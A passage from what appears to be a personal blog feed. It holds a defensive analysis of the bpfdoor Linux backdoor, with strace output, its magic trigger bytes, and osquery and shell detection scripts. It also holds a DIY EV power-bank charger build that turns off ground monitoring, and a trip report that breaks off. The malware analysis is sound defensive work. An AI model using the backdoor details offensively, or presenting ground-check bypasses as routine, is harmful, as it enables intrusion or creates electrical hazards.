This section constitutes the bulk of the RFC and is typically 1-4 pages long. It should focus on the novel implementation idea and specific corner cases.

Drawbacks

There are tradeoffs to choosing any path: this is where you identify them. Why should we not implement this design? Consider costs in additional complexity, training, reliability, and dollars.

Alternatives Considered

This is the most critical section of an RFC. It serves as an enumeration of ideas imagined that were determined to be suboptimal.

This section lets readers know you have done your homework and helps them assess if the solution is sized appropriately.

Title of Alternative #1

What other ideas did you consider and discard? What is the impact of not taking this approach?

Fun with the new bpfdoor (2023)

2023-05-14T00:00:00Z

I was recently provided a sample of the recently announced stealthier variant of bpfdoor, malware targeting Linux that is almost certainly a state-funded Chinese threat actor (Red Menshen). The sample analyzed was a8a32ec29a31f152ba20a30eb483520fe50f2dce6c9aa9135d88f7c9c511d7, detectable by 11 of 62 detectors on VirusTotal.

I was particularly curious what the bpfdoor surface area looked like, and if it was easy it was to detect using existing open-source tools and common Linux command-line utilities.

To experiment, I used my favorite VM manager on macOS or Linux for this analysis: Lima, with the default Ubuntu 22.10 image.

Running bpfdoor as a regular user

I first ran bpfdoor as an unprivileged user to see what system calls would be executed:

strace -o /tmp/st.user -f ./x.bin

I've removed the less interesting lines of output, but the program does astonishingly little:

2655  execve("./x.bin", ["./x.bin"], 0x7fff9dad6ff8 /* 23 vars */) = 0
2655  openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
2655  openat(AT_FDCWD, "/var/run/initd.lock", O_RDWR|O_CREAT, 0666) = -1 EACCES (Permission denied)
2655  flock(-1, LOCK_EX|LOCK_NB)        = -1 EBADF (Bad file descriptor)
2655  clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7ff8d1b39a10) = 2656
2655  +++ exited with 0 +++
2656  close(0)                          = 0
2656  close(1)                          = 0
2656  close(2)                          = 0
2656  setsid()                          = 2656
2656  getrandom("\xa4\xd5\x9d\x71\xb3\xe0\x98\xe1", 8, GRND_NONBLOCK) = 8
2656  socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)) = -1 EPERM (Operation not permitted)
2656  exit_group(0)                     = ?
2656  +++ exited with 0 +++

The only noteworthy things here are:

It tries to create /var/run/initd.lock but fails because it requires root
It tries to set up a raw socket to listen to all protocols but fails because it requires root.
It forks into the background via clone() and setsid().

It's not unusual to see a bug with the flock() call to fd=-1 because openat() returned an error rather than a file handle.

Running as root

2669  openat(AT_FDCWD, "/var/run/initd.lock", O_RDWR|O_CREAT, 0666) = 3
2669  flock(3, LOCK_EX|LOCK_NB)         = 0
2669  clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7fb6d948ba10) = 3319
2669  exit_group(0 <unfinished ...>
3319  close(0 <unfinished ...>
2669  +++ exited with 0 +++
3319  close(1)                          = 0
3319  close(2)                          = 0
3319  setsid()                          = 3319
3319  getrandom("\x6c\x07\x1c\x75\x6b\xae\xfe\xdf", 8, GRND_NONBLOCK) = 8
3319  socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)) = 0
3319  setsockopt(0, SOL_SOCKET, SO_ATTACH_FILTER, {len=30, filter=0x7ffd2270fa90}, 16) = 0
3319  recvfrom(0, "RUU\341\314\22RU\300\250\5\2\10\0E\0\0Lp\220\0\0@\6~\272\300\250\5\2\300\250"..., 65536, 0, NULL, NULL) = 90
3319  recvfrom(0, "RUU\341\314\22RU\300\250\5\2\10\0E\0\0(p\221\0\0@\6~\335\300\250\5\2\300\250"..., 65536, 0, NULL, NULL) = 54
3319  recvfrom(0, "RUU\341\314\22RU\300\250\5\2\10\0E\0\0Lp\222\0\0@\6~\270\300\250\5\2\300\250"..., 65536, 0, NULL, NULL) = 90
3319  recvfrom(0, "RUU\341\314\22RU\300\250\5\2\10\0E\0\0(p\223\0\0@\6~\333\300\250\5\2\300\250"..., 65536, 0, NULL, NULL) = 54

First, it opens a lock, which works this time:

-rw-r--r-- 1 root root 0 May 13 12:45 /run/initd.lock

As mentioned in the bpfdoor analysis by deep instinct, we can see that it sets a BPF filter via setsockopt(), and loops waiting for the magic byte sequence: \x44\x30\xCD\x9F\x5E\x14\x27\x66.

One thing I find fascinating is how simple the initialization is: the previous iteration of bpfdoor did so much more in the name of "stealth":

copies itself to /dev/shm
renaming itself in the process table via prctl
deletes itself from disk
timestomping

Red Menshen must have noticed that every method for achieving stealth is also a reliable detection method. So, the new bpfdoor keeps it simple by not trying to be stealthy. In fact, this binary does so little that it's suspicious. In 2023, most advanced evasion methods are not worth it on Linux: it is good enough to hide in plain sight.

Detection

Using the make detect rule from osquery-detection-kit, I examined which existing rules would alert on the presence of the latest bpfdoor. 3 of them did:

unexpected raw socket: unexpected packet sniffers, just like this one! Near-zero false-positive rate.
recently created executables: programs executed within 45 seconds of when it likely landed on disk, based on ctime and btime. This catch-all has found every malware it's encountered, but it requires a comprehensive exception list.
unexpected /var/run file: Inspired by reading the bpfdoor technical analysis, it's good to see this fired when faced with the real thing.

That said, I think we can do better. Let's see what the malware looks like from /proc.

Exploring bpfdoor using /proc

To get an idea of what I can use for further detecting bpfdoor, I wanted to see how it was seen via /proc. First, what libraries does it link against? Based on the report, I'm not expecting anything other than libc:

% sudo cat /proc/3319/maps

00400000-00448000 r-xp 00000000 fc:01 3210                               /tmp/x.bin
00648000-00649000 r--p 00048000 fc:01 3210                               /tmp/x.bin
00649000-0064a000 rw-p 00049000 fc:01 3210                               /tmp/x.bin
0064a000-0066a000 rw-p 00000000 00:00 0 
00c36000-00c57000 rw-p 00000000 00:00 0                                  [heap]
7fb6d9200000-7fb6d9222000 r--p 00000000 fc:01 3648                       /usr/lib/x86_64-linux-gnu/libc.so.6
7fb6d9222000-7fb6d939b000 r-xp 00022000 fc:01 3648                       /usr/lib/x86_64-linux-gnu/libc.so.6
7fb6d939b000-7fb6d93f2000 r--p 0019b000 fc:01 3648                       /usr/lib/x86_64-linux-gnu/libc.so.6
7fb6d93f2000-7fb6d93f6000 r--p 001f1000 fc:01 3648                       /usr/lib/x86_64-linux-gnu/libc.so.6
7fb6d93f6000-7fb6d93f8000 rw-p 001f5000 fc:01 3648                       /usr/lib/x86_64-linux-gnu/libc.so.6
7fb6d93f8000-7fb6d9405000 rw-p 00000000 00:00 0 
7fb6d948b000-7fb6d948e000 rw-p 00000000 00:00 0 
7fb6d9495000-7fb6d9497000 rw-p 00000000 00:00 0 
7fb6d9497000-7fb6d9498000 r--p 00000000 fc:01 3645                       /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fb6d9498000-7fb6d94c1000 r-xp 00001000 fc:01 3645                       /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fb6d94c1000-7fb6d94cb000 r--p 0002a000 fc:01 3645                       /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fb6d94cb000-7fb6d94cd000 r--p 00034000 fc:01 3645                       /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fb6d94cd000-7fb6d94cf000 rw-p 00036000 fc:01 3645                       /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7ffd226f0000-7ffd22711000 rw-p 00000000 00:00 0                          [stack]
7ffd22720000-7ffd22724000 r--p 00000000 00:00 0                          [vvar]
7ffd22724000-7ffd22726000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0                  [vsyscall]

What about open file handles?

% sudo lsof -p 3319

COMMAND  PID USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
x.bin   3319 root  cwd    DIR   0,52      200    9 /tmp/lima/osquery-defense-kit/out
x.bin   3319 root  rtd    DIR  252,1     4096    2 /
x.bin   3319 root  txt    REG  252,1   302576 3210 /tmp/x.bin
x.bin   3319 root  mem    REG  252,1  2072888 3648 /usr/lib/x86_64-linux-gnu/libc.so.6
x.bin   3319 root  mem    REG  252,1   228720 3645 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
x.bin   3319 root    0u  pack  33049      0t0  ALL type=SOCK_RAW
x.bin   3319 root    3u   REG   0,25        0 1322 /run/initd.lock

lsof is handy, but to see the raw socket from /proc, we need to do a little bit more digging:

# cat /proc/net/packet

sk               RefCnt Type Proto  Iface R Rmem   User   Inode
ffff92d346ba6800 3      3    88cc   2     1 0      100    19458 
ffff92d34631d800 3      3    0003   0     1 241920 0      33089

The Inode field is misleading, but you can use it to find the associated process ID via:

$ sudo find /proc -type l -lname "socket:\[33089\]" 2>/dev/null

/proc/3319/task/3319/fd/0
/proc/3319/fd/0

Alternatively, you can use this to see all filehandles for the process ID:

$ ls -la /proc/3319/fd

total 0
dr-x------ 2 root root  0 May 13 13:03 .
dr-xr-xr-x 9 root root  0 May 13 13:03 ..
lrwx------ 1 root root 64 May 13 13:03 0 -> 'socket:[33089]'
lrwx------ 1 root root 64 May 13 13:03 3 -> /run/initd.lock

Once you have a process ID, you can resolve the path to the program:

sudo ls -lad /proc/3319/exe

lrwxrwxrwx 1 root root 0 May 14 00:48 /proc/3319/exe -> /tmp/x.bin

Exploring bpfdoor using strings

Running strings <path> reveals some interesting messages:

[-] Execute command failed
/var/run/initd.lock

libtom/libtomcrypt has been bundled in, so we see lines such as:

LTC_ARGCHK '%s' failure on line %d of file %s
X.509v%i certificate
  Issued by: [%s]%s (%s)
  Issued to: [%s]%s (%s, %s)
  Subject: %s
  Validity: %s - %s
  OCSP: %s
  Serial number:
...
LibTomCrypt 1.17 (Tom St Denis, tomstdenis@gmail.com)
LibTomCrypt is public domain software.
Built on Oct  4 2022 at 16:09:32

That last string is important: this iteration of bpfdoor could have been wandering around Cyberspace since October 2022 (7 months ago) without detection. It also appears that the bad guys used Red Hat Enterprise Linux 7.0 (nearly 10 years old!) to build the binary:

GCC: (GNU) 4.8.5 20150623 (Red Hat 4.8.5-44)

New detection possibilities

After looking at /proc, a couple of new detection ideas came up:

Programs with /var/run lock files open
Root processes with a socket and no shared libraries
World-readable lock files in /var/run
Minimalist socket users with few open files
Processes where fd 0 is a non-UNIX socket

There are certainly more possibilities depending on how this backdoor is launched: for example, based on cwd or cgroup. I have not yet seen information published on how this backdoor is actually executed.

I implemented each of these detection ideas: once for osquery to use in production, and once in shell just for fun. The osquery queries have been tested across Ubuntu, Fedora, Arch Linux, and NixOS, and the shell scripts have only been tested on Ubuntu.

Programs with /run lock files left open

It's unusual for a program to have an open file in /var/run, but I suspect this may eventually find a false positive. Here's an osquery and a shell script to find these:

SELECT p.* FROM processes p JOIN process_open_files pof ON p.pid = pof.pid AND pof.path LIKE "/run/%.lock";

sudo find /proc -lname "/run/*.lock" 2>/dev/null

Root processes with a socket and no shared libraries

Most programs that use a socket are either fully static, or import a library like OpenSSL. bpfdoor isn't either. Here is another osquery and shell pair:

SELECT p.*,
    COUNT(DISTINCT pmm.path) AS pmm_count
FROM processes p
    JOIN process_open_sockets pos ON p.pid = pos.pid
    LEFT JOIN process_memory_map pmm ON p.pid = pmm.pid
    AND pmm.path LIKE "%.so.%"
    -- Yes, this is a weird performance optimization
WHERE p.pid IN (
        SELECT pid
        FROM processes
        WHERE p.euid = 0
            AND p.path NOT IN (
                '/usr/bin/containerd',
                '/usr/bin/fusermount3',
                '/usr/sbin/acpid',
                '/usr/sbin/mcelog',
                '/usr/bin/docker-proxy'
            )
    )
GROUP BY pos.pid -- libc.so, ld-linux
HAVING pmm_count = 2;

cd /proc || exit

for pid in *; do
    [[ ! -f ${pid}/exe || ${pid} =~ "self" ]] && continue

    euid=$(grep Uid /proc/${pid}/status | awk '{ print $2 }')
    [[ "${euid}" != 0 ]] && continue

    sockets=$(sudo find /proc/${pid}/fd -lname "socket:*" | wc -l)
    [[ "${sockets}" == 0 ]] && continue

    libs=$(sudo find /proc/${pid}/map_files/ -type l -lname "*.so.*" -exec readlink {} \; | sort -u | wc -l)
    [[ "${libs}" != 2 ]] && continue

    path=$(readlink /proc/$pid/exe)
    name=$(cat /proc/$pid/comm)
    echo "euid=0 process with sockets and no libs: ${name} [${pid}] at ${path}"
done

World readable lock files in /var/run

Typically lock files are readable only by the root user. Malware often uses very relaxed file permissions.

SELECT * FROM file WHERE path LIKE "/tmp/%.lock" AND mode = "0644";

find /run/*.lock -perm 644

Minimalist socket users with few open files

This creative query reveals minimalist programs that behave like a backdoor might:

have 0-1 open files
have 1-2 sockets open

It's an uncommon situation, but it is bound to have false positives in software that is designed in a way that each process has a specific role:

SELECT p.pid,
    p.path,
    p.name,
    p.start_time,
    GROUP_CONCAT(DISTINCT pos.protocol) AS protocols,
    pof.path AS pof_path,
    COUNT(DISTINCT pos.fd) AS scount,
    COUNT(DISTINCT pof.path) AS fcount,
    GROUP_CONCAT(DISTINCT pof.path) AS open_files,
    p.cgroup_path
FROM processes p
    JOIN process_open_sockets pos ON p.pid = pos.pid
    AND pos.protocol > 0
    LEFT JOIN process_open_files pof ON p.pid = pof.pid
WHERE p.start_time < (strftime('%s', 'now') -60)
AND p.path NOT IN (
    '/bin/registry',
    '/usr/bin/docker-proxy',
    '/usr/sbin/chronyd',
    '/usr/sbin/cups-browsed',
    '/usr/sbin/cupsd',
    '/usr/sbin/sshd'
)
AND p.path NOT LIKE '/nix/store/%-openssh-%/bin/sshd'
GROUP BY p.pid
HAVING scount <= 2
    AND fcount <= 1;

cd /proc || exit

for pid in *; do
    [[ ! -f ${pid}/exe || ${pid} =~ "self" ]] && continue

    fds=$(find /proc/${pid}/fd -lname "/*" | wc -l)
    [[ "${fds}" == 0 ]] && continue
    [[ "${fds}" -gt 1 ]] && continue

    # WARNING: ss -xp will print two fds on the same line if connected. Use grep -o instead of -c
    #ss -xp | grep -v "^u_" | grep -o pid=${pid},"

    all_sockets=$(find /proc/${pid}/fd -lname "socket:*" | wc -l)
    [[ "${all_sockets}" -gt 2 ]] && continue

    # this isn't exactly what we want - ss doesn't show TYPE=sock of protocol=UNIX :(
    unix_sockets=$(ss -ap | grep "^u_" | grep -o "pid=${pid}," | wc -l)
    sockets=$(($all_sockets - $unix_sockets))

    [[ "${sockets}" == 0 ]] && continue
    [[ "${sockets}" -gt 2 ]] && continue

    path=$(readlink /proc/$pid/exe)
    [[ "${path}" == "/usr/sbin/sshd" ]] && continue

    name=$(cat /proc/$pid/comm)
    echo "minimalist socket user (${sockets} sockets and ${fds} files): ${name} [${pid}] at ${path}"
done

fd0 is a socket

I've saved my favorite for last. File descriptor 0 is usually stdin, but in bpfdoors case, it is actually the socket it uses to listen to traffic on. I've never seen this behavior before outside of bpfdoor:

SELECT * FROM process_open_sockets WHERE fd=0 AND family != 1;

cd /proc || exit

for pid in *; do
    [[ ! -f ${pid}/exe || ${pid} =~ "self" ]] && continue

    ino=$(readlink /proc/$pid/fd/0 | grep -o 'socket:.*' | cut -d"[" -f2 | cut -d"]" -f1)
    grep -q " ${ino}" /proc/$pid/net/unix && continue

    path=$(readlink /proc/$pid/exe)
    name=$(cat /proc/$pid/comm)
    echo "fd0 is a socket: ${name} [${pid}] at ${path}"
done

Final Thoughts

Ultimately, I was happy to see that this variant was detectable using osquery-defense-kit, and even happier that I could add additional rules to find future similar malware. Two philosophical viewpoints are critical to success in detection:

Knowing what is considered normal in your environment
Evasion is a means of detection

If you are interested in open-source queries that can find bpfdoor and other unusual programs, check out:

https://github.com/chainguard-dev/osquery-defense-kit/
https://github.com/tstromberg/sunlight

Thanks to Kevin Beaumont for providing the bpfdoor sample for analysis.

DIY Electric Jerry Can

2023-05-12T00:00:00Z

In the 1930s, Vinzenz Grünvogel designed the Wehrmacht-Einheitskanister: an ingenious container that was stackable, carried liquid without spilling and was easy to carry. The design was so popular that nations around the world copied it, and in the United States, it became known as a “Jerry Can” (Jerry being slang for “German”).

This project shares none of those attributes.

The Range Anxiety Problem

Before I bought the BMW CE-04 — an insanely fun electric scooter, I knew there would be range issues. With a relatively small 8.2kWh battery, the range varies highly depending on the speed of the road you are traveling on:

35mph (55km/h) → 75 miles (120 km) of range
55mph (90km/h) → 60 miles (95 km) of range
75mph (120km/h) → 40 miles (65 km) of range

Unlike larger EVs, this scooter does not give you a range estimate for a destination or direct you to EV chargers when running low. If you are going to use a short-range EV for long-distance trips, you will need to plan ahead using tools like ABetterRoutePlanner and PlugShare.

Even with proper planning, you can find yourself in a situation where you consume more charge than you’ve planned: for example, by speeding or taking a wrong turn onto a 70 mph highway.

The rough plan

Long-distance “Adventure” motorcyclists often pack a small fuel canister for emergencies. Jeep drivers often bring full-sized Jerry Cans. Why not do the same for EVs?

It’s easy enough to find large power banks: Jackery, Anker, EcoFlow, and Goal-Zero will all happily sell you one. The challenge was finding a power bank that stored enough charge to be helpful (800 - 1200 kWh) and could fit in the helmet compartment of the CE-04. After taking measurements, I was confident that the Jackery 1000 might just work, so I waited for it to go on sale.

Early experiments were full of fail

My first experiments went poorly: both the BMW (Delphi) EV charger and the Tesla Mobile Connector refused to charge from the Jackery 1000 due to the lack of proper ground. I soon learned that the SAE J1772 EV charger specifications required ground monitoring for safety reasons.

The Jackery 1000 and most other power banks don’t offer a user-accessible ground: the 3rd pin on their sockets is just an empty slot so that a standard 3-prong power cable fits.

Overcoming the J1772 Grounding Requirement

I tried a number of workarounds, but none of them fooled the EVSE (a fancy acronym for an EV charger cable):

3-pin to 2-pin converters
Portable GFCI outlets
Neutral-Ground Bonding Plugs

I found a Youtube video demonstrating one method to circumvent ground detection, but it seemed overly hacky, bulky, and potentially dangerous. I also contacted the EVDOCTOR for advice, who recommended that if I opened the Jackery, I’d likely find a metal ground internal.

I had read about some of the cheaper EVSE cables not implementing ground, and the EVDOCTOR hinted that the easiest path forward would be ordering the cheapest EVSE I could and returning it if it implemented ground.

There is no comprehensive list of EVSE cables that can be used without a ground, but I did find hints suggesting that these may work:

Southking SK-EV16
Toyota Prius PHEV cable
Honda Clarity PHEV cable

I looked at the cheapest EVSE cables on Amazon and found one that seemed perfect: a 13ft “travel” cord that supported 220V/110V and allowed ground monitoring to be toggled: Sankaba Level 2 EV Charger,16Amp EV Charger Station,NEMA 5-20 Plug EV Charger Level 2,100-240v Portable EV Charger

Notably, the ad mentions that there is a “Ground Setting” available:

After entering the menu, there are two options.

The device can detect whether the input power supply of the product connected ground wire. If the user's power input is not equipped with ground wire, the device cannot work normally. You should select the second option to connect it.

For security, it will be ensured that the power input is protected by a ground wire.

I bought the Sankaba, and it works just fine with the Jackery 1000 out of the box. The OEM appears to be "Ningbo Yiwei New Energy Technology Co., LTD" with a model number of EV-SAE-AC16-P. This EVSE is also sold under the name of Sunsky.

Modding the Jackery case

I expected the Jackery 1000 would be barely too tall to fit in the helmet compartment on the CE-04, but I was confident I could remove the top handle if it became a problem. When I received the unit, I learned I was right:

I found a teardown video for the Jackery and was happy to see that the handle was empty plastic, so I took a hacksaw to it:

With that, the Jackery fits just barely in the helmet compartment. I sanded down the leftover corners of the handle to improve clearance and even added a carrying strap.

The finished product

Once assembled, using the Jackery Electric JerryCan is easy:

On the BMW CE-04, set the maximum amperage to 10A
Place the charging brick in the shade to prevent overheating
Hit the “AC” button on the Jackery 1000
Plug the charging cable in on both ends

It takes about 45 minutes to fully discharge the Jackery’s battery fully over 110V, adding 750Wh - or about 9.3% charge to the BMW CE-04. Due to the inefficiency of DC->AC->DC conversion, you will not get the full 1002Wh. The charge is good enough for emergency use, as it’s enough for this scooter to make it 6 miles (10 km) further to a real charger.

As the auxiliary battery takes up nearly the entire helmet compartment, I store the EVSE cable in my top case with other emergency tools:

Bill of Materials

Jackery 1000 (1002Wh portable battery): $827
Shoulder Dolly HandyLifter Carrying Strap: $13
6-20P to 5-15 adapter: $8
Sankaba/Sunsky EVSE L2 Charger (no grounding requirements): $96

Questions I’ve received

Why not place the battery in the top case? It’s too heavy: the top case on the CE-04 is only rated to carry 5kg (11 lbs).
Can you charge the Jackery 1000 up at an EV charger? Probably with the right adapters, but you wouldn’t want to, as it takes 8 hours to recharge. The newer 1000 Pro charges in 1.8 hours.
Is there a 220V option? Yes! I could not find any in the US, but you can buy 220V portable power stations in Europe. They will even charge the CE-04 charge twice as fast!

If you have any questions, find me on Mastodon or e-mail me at tstromberg.org.

An electrifying ride to Pik N Pig

2023-05-04T00:00:00Z

A few Saturdays ago, I ventured to central North Carolina to join the local ADVrider crew for lunch as part of the confusingly named "Eastern Nc Advrider Dinner" thread. I took my trusty BMW CE-04 along - a quirky urban electric scooter (and the most fun I’ve had on two wheels).

While the trip was only 138 miles of backroads (an absurd amount for any GS owner), that's a fair journey on a scoot that only averages 62 miles of range in this environment. This trip includes:

4 hours of riding
2 hours of charging ($0.86)

Leg 1: Chapel Hill to Pittsboro 18 miles, 38 minutes riding, 19 minutes charging

This particular morning came just after our 16th wedding anniversary, so my wife followed in the cage so we could brunch together.

When traveling with an EV, I'll often plan my charging stops at places where I can simultaneously enjoy a great meal so that I can kill two birds with one stone - as well as support the businesses that support my ability to get around. Accordingly, today's destination was "Cafe Root Cellar" in Pittsboro, a brunch place often lauded as one of the best in the state, which has two EV chargers up front.

Between us and brunch is UNC Chapel Hill - the first public university in the United States. The campus is quiet: there are more fans of the original Versys design than people milling about at 8 am on a Saturday. Riding past campus, I jump on US Route 15/501, which alternates between an expressway and a surface road.

After pulling into the Root Cellar parking lot, I see that my plans are dashed, as they are not open on Saturday mornings. I hopped into Google Maps to find a plan B, and there it was: a small Cafe at a Bed & Breakfast, aptly named “Small Cafe B and B.”

The food here was spectacular, particularly today’s special: Burek.

It's a traditional Serbian meat pie, or more specifically, baked phyllo dough stuffed with pork sausage, spinach, potato, caramelized onions, peppers, shredded sheep's milk cheese, garlicky yogurt, and in this case, topped with herb salad.

A burek is typically served for breakfast and made its way to Serbia via Turkey during the Ottoman Empire. Many variations exist depending on where you are - The Turks have "Börek", Sephardic Jews have "bourekas", and Tunisians have "brik". The only consistent thing is that it's phyllo dough stuffed with savory goodness.

I never turn down Turkish Coffee when available, and this place delivered. Eventually, though, if I were going to make it in time for the ADVrider lunch and the route I had in mind, I would have to head out. Unfortunately, while leaving out the back entrance onto East St, I had the closest call yet on my scooter.

East St is a busy road. Back when I lived out here 20 years ago, it was known as Highway 64, but that road has since bypassed downtown. I knew there would only be a brief moment in time where the gap was big enough to make a left out of here, so I scooted as far down the gravel driveway as I could. Unfortunately, in doing so, my sight lines were significantly blocked by the two cars that were parked to my left. I looked at the gaps between the trees and the cars, and tried to count how many cars I saw entering and exiting the gaps so that I would know when the gap was close enough to enter.

After waiting 5 minutes for it to be clear, I pulled out of the gravel driveway. As I did so, I glanced leftwards and saw a Toyota pickup barreling toward me, 4-6 feet away. I instinctively yanked the throttle to get the hell out of the way and made a graceful left turn, thankful that the CE-04 has plenty of get up and go, particularly at speeds under 35mph.

I was practically shaking afterward. I thought a lot about this situation for the rest of the day. I had suffered a perception error, but how did I miss that pick-up truck? Could I have handled the situation better? Would it have been better or worse if I had made a right-hand turn instead? Even in hindsight, I don’t know the answers to these questions. I know I was thankful to be ATGATT, including an airbag jacket.

Since I couldn’t charge during breakfast, I headed to the playfully decorated Chatham Beverage District to top off on my way to Robbins. I arrived there with an estimated 66% of battery and an estimated 44 miles of range, with 38 miles to my next charging stop. My routing software, ABRP, suggested that I charge up to 93% so that I roll into my next stop with 20% of spare capacity, so that’s what I aimed for.

The district has a unique history: once the site of one of the largest flower farms on the East Coast, it became the site of a failed aluminum research facility, then a bio-fuels production facility, and eventually a consortium of meaderies, breweries, and distilleries. It also hosts the local farmers market, places to walk around and picnic, and a couple of free EV charging stations.

Charging from 66% to 93% took 19 minutes. The CE-04 isn’t the fastest charging bike out there (see Energica!), but also not the slowest. Content with the state of charge, I set the BMW navigation mode to “Winding route” and headed southwest toward Robbins.

Leg 2: Pittsboro to Goldston to Robbins 38 miles, 1 hour of riding, 1 hour of charging

Goldston is a straight shot via 902 & Goldston-Pittsboro road: a boring route, but at least the road conditions were good.

Turning off at Lancaster Dr, I spotted a cemetery behind Goldston Methodist Church, where I noticed a gravestone for Ulysses S. Grant Daurity. I can't imagine how rebellious of a name this must have been in 1874 around these parts. I researched the name to learn more about him but came up empty-handed. It appears that "Daurity" is a North Carolina-specific corruption of "Doherty" (from the Gaelic O'Dochartaigh).

I soon arrived in "downtown" Goldston, or at least as downtown as you can get in a town with a population of 239. Initially called "Corinth", it came into being just 10 years after the aforementioned Ulysses was born. It owes its life to the railroad that runs through it, and is most notable as where Charlie Daniels went to high school before he wrote a song about a devil who went to Georgia.

https://www.youtube.com/watch?v=2icMPorsH60

Evidently, there is a mural of him somewhere here, but I missed it. I also missed that the Goldston library has two free EV chargers I could have used instead of wasting my time in Pittsboro. One of the downsides of the decentralized anarchy of EV chargers is that no single website or database has a comprehensive list: the best today is Plugshare, which did not know about this particular charger until I added it, but https://map.openchargemap.io did.

Outside of Goldsboro is predominantly agricultural and feels like one bucolic scene flowing into the next. I passed within feet of the center of North Carolina (35°33'20.5"N 79°23'15.7"W), as per the US Geological Survey. I also passed by signs for the House-In-the-Horseshoe Historic Park - named after how it sits within the curve of the Deep River, and the site of a Revolutionary War battle. I planned to stop by there on the way home if time permits.

I followed the Deep River west, toward High Falls. There’s a controversial abandoned dam there. The dam is impacting an endangered species of fish, but the locals like to fish the dam and have so far resisted its demolition. I saw quite the opposite reaction living in California, where the locals begged to demolish dams to protect fish, and the dam owners dragged their feet.

Passing over the Deep River, I spotted the High Falls Oil Company. Based on the look of the building, it had been abandoned decades ago. However, Google Streetview shows this building was actively occupied until at least 5 years ago. It seems to have aged like a meth-addicted hillbilly.

I rolled into the charger at Robbins, NC (hosted by the local electric coop), with 15% left on the battery, according to my pollen-encrusted dash. That's 5% less than my routing software (https://abetterrouteplanner.com/) predicted. I blame speeding, but part of the problem is that ABRP doesn't know the specific characteristics of the BMW CE-04, so I instead tell it I ride a "Zero SDS ZF 7.2 + PT" that gets 202 Wh/mi @ 65mph. It's close enough.

My goals here were 3-fold: find the charger, find coffee, and find the river to wander around.

I grabbed a cold brew from "Simply Coffee", opened up Google Maps, and spotted a park along the river within walking distance.

The town of Robbins was originally named Mechanic's Hill, founded in 1795 when Alexander Kennedy founded a famous rifle manufacturer here: "The Kennedy Rifle Works". In its time, it was the largest arms factory in the area. Today, most of us think of mechanics as people who fix things, but initially, the term included the folks who built mechanical things - such as long rifles. Later, the town was known as Hemp.

Walking into the "Bear Creek Trail System", you immediately see the abandoned waterworks building. This building was built in part by the efforts of Karl Robbins, who owned a nearby textile mill. Karl was a prominent philanthropist and did many great things for the town, enough that it renamed itself in his honor in 1943. Karl is also the guy who bought the land to create Research Triangle Park in 1959. He got around!

As you take the riparian forest trail further down the hill, the deciduous trees soon give way to canebrake - specifically "river cane" I had never heard the term "canebrake" before moving to North Carolina, but it's used to describe a thicket or colony of native North American bamboo. When the European settlers came, they described endless seas of canebrakes. At the time, much of the Southeast was covered in canebrakes; individual colonies could be thousands of acres large.

After browsing around the river, I figured it was time to get back to the bike, which had charged itself to 96% over the hour I had goofed around Robbins - costing $0.86.

Leg 3: Robbins to Carthage (ADV lunch!) 18 miles, 35 minutes of riding, 0 minutes of charging

I headed to Carthage via Plank Rd and Hwy 27, which were that's exciting. Sometimes the "Windy" mode on the BMW Connected software delivers, but most of the time the routes are fairly pedestrian.

Downtown Carthage felt like an old city revitalized, with signs everywhere that harkened back to its distant past. Founded in 1785, Carthage is one of North Carolina's older cities - 7 years older than the current state capital of Raleigh. Its heyday was in the late 19th century when the nearby Tyson Jones Buggy Factory was producing 3,000 horse-drawn buggies a day. The city still hosts an annual Buggy Festival to celebrate its past -- the next one is May 13th, 2023!

I had time to kill, so I rolled by the only EV charger I knew of in town, at Cooper Ford, a couple of miles south. The charger was in use by a shiny new 2023 Ford E-Transit Van with a battery that was 8X the size of my own, so I figured it might be parked there for a while & headed to the Pik N Pig.

Located at Gilliam-McConnell Airfield, the Pik N Pig advertises itself as the best BBQ in North Carolina. I’m not yet convinced, but it’s at least the best BBQ that you can fly an airplane to and from. I navigated through a sea of parked cars and motorcycles, looking for vaguely ADV'ish bikes - and soon spotted GordonFreeman on his beautiful KTM 1290R. Iron Cross Junction pulled in behind me on his Guzzi; though he swore up and down he wasn't here for an ADV lunch.

I soon realized we needed a better way of identifying who else was with the ADVrider community, other than accosting anyone with a vaguely dual-sport bike or Klim gear. I regret not bringing my shirt. It took 30 minutes for a table to free up, and one by one, we found other folks: truck6driver, MiniMe, Frankencycle, Turbo Ghost, and some others whose names I've since forgotten.

We talked a lot about guns, our experiences with the military, and the dumb things people do on two wheels. I'm not much into guns, but I know a lot about dumb things on motorcycles. Watching the planes coming in and out was like observing a conveyer belt of privilege - though I probably shouldn't talk as someone rolling in on a BMW.

The pulled pork & sauce were good, but not delicious to the point of going out of your way to get there. It's mostly hype. Still, the company was excellent. Judging by other people's plates, I'll order the brisket & Pepsi-Cola cake next time. After hanging out for an hour and a half, I needed to head out - I was supposed to be back by 4 pm to make it in time for a party and had at least an hour ride and a 30-minute charge ahead. Before leaving Carthage, I got one last photo of my bike downtown, complete with muddy boots:

Leg 4: Carthage to Sanford _20 miles, 47 minutes of riding, 37 minutes of charging

I set the BMW navigation app to "Winding route" again and set my sights toward Sanford. I know from experience that Downtown Sanford Horner Square has a wonderfully convenient and free charger, and from here, I'm going to need a charge to get back home.

The roads here (Old River Rd, Torchwood Rd) are my favorite of the day. They rhythmically wind through the picturesque pastoral landscape. Before long, I'm in suburban hell, which eventually opens up into the charming brick shape of Sanford.

